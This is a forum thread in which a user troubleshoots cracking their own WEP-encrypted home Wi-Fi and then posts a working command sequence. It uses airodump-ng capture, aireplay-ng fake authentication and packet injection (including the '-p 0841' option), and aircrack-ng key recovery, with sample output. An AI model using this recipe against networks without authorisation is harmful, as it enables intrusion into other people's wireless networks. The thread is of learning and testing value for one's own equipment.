[SOLVED] Unable to crack my own WEP network

Question

For a long time I've been trying to do that (crack my 64 bit WEP wi-fi) but have given up because of various problems. For example I have the "Fixed channel -1" problem when aireplay-ing. But yesterday i decided that i could ignore that and just use airodump + aircrack + wget-ing a file .
So the commands i issued before i went to bed were:
airodump-ng --bssid <MACofAP> --channel 8 -w /tmp/overNight mon0 //on root terminal
while true; do wget <file> -O /dev/null; done
sleep 2h; aircrack /tmp/overNight-01.cap //on root terminal
sleep 4h; aircrack -K /tmp/overNight-01.cap //on root terminal
And so on the morning I found tthe PTW method failing with segmentation error.
The Korek one was just continuing testing keys... The night before I tried to eliminate each method alone using "aircrack -K /tmp/overNight-01.cap -k 1..17" with no success either. Worth noting is that I'm using "rtl8192se" driver.
> lspci | grep -i wireless
03:00.0 Network controller: Realtek Semiconductor Co., Ltd. RTL8191SEvB Wireless LAN Controller (rev 10)
Today I tried backtrack 5. Needed to download and compile the same driver manually, all other related failed to work. I had a segmentation fault again with PTW and got no success with aireplay-ng other that when i issued -1 0 attack I saw a lot of different MACs in airodump. No "Channel -1" as far as i saw but still even the test -9 fails 0/30.
But really, the strangest is how I can't crack the pass with over 1,5 million IVs ! No idea how to proceed now, would be awesome if someone has one
Last edited by Prowler (2011-10-17 17:59:56)

Answer 1

Did it! There was one slight thing i missed that caused me to trip on Step 3 of the tutorial - WIFI card has MAC address too. Always entered eth0 mac address on -h... The thing got me running was a post where i read "Wireless mac adress". :
Cracking WEP more quickly:
airodump-ng mon0
airodump-ng -w wep -c [channel] --bssid [bssid number] mon0
open new console
aireplay-ng -1 6000 -a [bssid] -e [router name] -h [my wireless mac] 5 -o 1 -q 10 mon0
open new console
aireplay-ng -2 -b [bssid] -h [my wireless mac] -c FF:FF:FF:FF:FF:FF -p 0841 mon0
Crack:
open new console (4 terminals open now) Data needs to hit about 30,000 from first terminal window
Type dir
aircrack-ng [filename].cap
After following the steps provided i cracked the easy pass of my wep network in ~2 minutes with about 40k data. Thank you for helping me, these compat-wireless drivers really proved to matter. Still don't understand why i can't passively capture and crack without them but Ill have to accept it needs them. Awesome, for a long time this has been my goal ^^ Thank you again
PS:
> Read 81233 packets.
>
>    #  BSSID              ESSID                     Encryption
>
>    1  54:E6:FC:B1:62:B8  WEPJungle                 WEP (268 IVs)
>    2  74:EA:3A:C5:F4:9E  TP-LINK_C5F49E            No data - WEP or WPA
>    3  00:0E:2E:60:E0:91  Rosito                    WPA (0 handshake)
are u sure IVs arent for WEP? this output came from aircrack, asking me which network when i havent specified...
PS2: gotta add one thing - doing "/etc/rc.d/networkmanager stop" is mandatory. otherwise aireplay wont inject. also the "-o 1 -q 10" options of the second step seem to do nothing, can do fine without em. On the other hand "-p 0841" on the third step is a must, dont inject any data without it. It seems to work with only that value as far as i see, which is very strange cuz its not mentioned almost anywhere in guides.
PS3: updated that guide i followed for better usage: http://pastebin.com/0nPabSJC
PS4: with "aireplay -3" its even easier, even intuitive. In the man page it says its more reliable but it seems to me its a bit slower in the data injecting process. But i guess the benefit is that you never use your ip (i know i can change for the other method too). At least its so easy, just turn it on and wait for some1 to use the net. Saves one terminal
PS5: after checking again, turns out that sometimes i can't aireplay -1 without "-o 1 -q 10".
Last edited by Prowler (2011-10-19 10:00:41)